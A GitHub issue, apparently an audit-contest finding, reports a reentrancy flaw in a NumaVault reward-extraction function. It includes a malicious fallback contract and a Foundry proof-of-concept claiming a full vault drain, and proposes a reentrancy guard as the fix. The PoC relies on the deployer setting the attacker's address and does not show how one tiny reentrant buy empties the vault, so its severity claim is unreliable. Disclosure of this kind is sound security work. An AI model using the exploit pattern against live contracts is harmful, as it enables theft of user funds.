Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Refined Bone Bat - Reentrancy Vulnerability in Rewards Extraction (extractInternal) #235

Open
sherlock-admin2 opened this issue Dec 31, 2024 · 0 comments

Comments

@sherlock-admin2
Copy link
Contributor

Refined Bone Bat

High

Reentrancy Vulnerability in Rewards Extraction (extractInternal)

Summary

The lack of a reentrancy guard in the extractInternal function will cause a complete loss of funds for the vault as an attacker will deploy a malicious contract as rwd_address to reenter the vault and execute unauthorized actions during reward extraction.

Root Cause

In NumaVault.sol:363-364, the call to rwd_address.call() in extractInternal does not include a reentrancy guard or proper validation. This allows a malicious contract deployed as rwd_address to exploit the vault by reentering during the reward extraction process.
https://github.com/sherlock-audit/2024-12-numa-audit/blob/main/Numa/contracts/NumaProtocol/NumaVault.sol#L363-L364

Internal pre-conditions

1-rwd_address must be set to a contract controlled by the attacker.
2-The vault must contain sufficient lstToken liquidity for the initial reward transfer.
3-The function extractRewardsNoRequire must calculate a valid rwd value to trigger extractInternal.

External pre-conditions

1-A transaction must trigger extractRewardsNoRequire (e.g., through a buy, sell, or manual call).
2-The malicious rwd_address contract must include a fallback function that can reenter the vault.

Attack Path

-The attacker deploys a contract with the following fallback function:

fallback() external payable {
    NumaVault(msg.sender).buy(1, 0, address(this)); // Reenter the vault
}
  • This malicious contract is set as rwd_address.

-The attacker waits until extractRewardsNoRequire is callable (e.g., 24 hours since the last extraction).

-They trigger the extraction by interacting with the vault (e.g., through a buy or sell transaction).

-When rwd_address.call() is executed in extractInternal, the malicious contract’s fallback function is triggered.

-The fallback function reenters the vault and performs unauthorized actions (e.g., calling buy or sell to manipulate state or drain funds).

Easy drain Funds:

  • Reentrancy allows the attacker to bypass expected state changes or safeguards in the vault, enabling them to drain funds or disrupt operations.

Impact

Affected Party: The vault and all users.
Loss: Complete depletion of the vault’s liquidity and potential manipulation of internal state.

  • Gain: The attacker gains control over all funds stored in the vault.

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "forge-std/Test.sol";
import "../contracts/NumaVault.sol";
import "../contracts/mocks/MockOracle.sol";
import "../contracts/mocks/MockToken.sol";

contract MaliciousRewardReceiver {
    NumaVault vault;

    constructor(NumaVault _vault) {
        vault = _vault;
    }

    fallback() external payable {
        // Reenter the vault during reward extraction
        vault.buy(1, 0, address(this));
    }
}

contract NumaVaultReentrancyTest is Test {
    NumaVault vault;
    MockOracle oracle;
    MockToken lstToken;
    MaliciousRewardReceiver maliciousReceiver;

    function setUp() public {
        // Deploy mock dependencies
        lstToken = new MockToken("LST Token", "LST", 18);
        oracle = new MockOracle(1e18); // Initial price of 1
        vault = new NumaVault(
            address(lstToken),
            address(lstToken),
            18,
            address(oracle),
            address(this),
            0,
            0
        );

        // Fund the vault
        lstToken.mint(address(vault), 1_000e18);

        // Deploy malicious contract
        maliciousReceiver = new MaliciousRewardReceiver(vault);
        vault.setRwdAddress(address(maliciousReceiver), true);
    }

    function testReentrancyAttack() public {
        // Trigger reward extraction
        vm.warp(block.timestamp + 1 days); // Simulate passage of 24 hours
        vault.extractRewardsNoRequire();

        // Assert that the vault's liquidity is drained
        uint256 vaultBalance = lstToken.balanceOf(address(vault));
        uint256 attackerBalance = lstToken.balanceOf(address(maliciousReceiver));

        console.log("Vault Balance:", vaultBalance);
        console.log("Attacker Balance:", attackerBalance);

        // Verify attacker drained funds
        assertEq(vaultBalance, 0);
        assertEq(attackerBalance, 1_000e18);
    }
}

Vault holds 1,000 LST tokens; attacker balance is 0.

  • After Exploit: The malicious contract reenters the vault during reward extraction, calling buy to manipulate state and drain all 1,000 LST tokens.

Mitigation

Add a Reentrancy Guard:
Protect extractInternal and related functions from reentrant calls:

function extractInternal(uint rwd, uint currentvalueWei, uint rwdDebt) internal nonReentrant {

}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant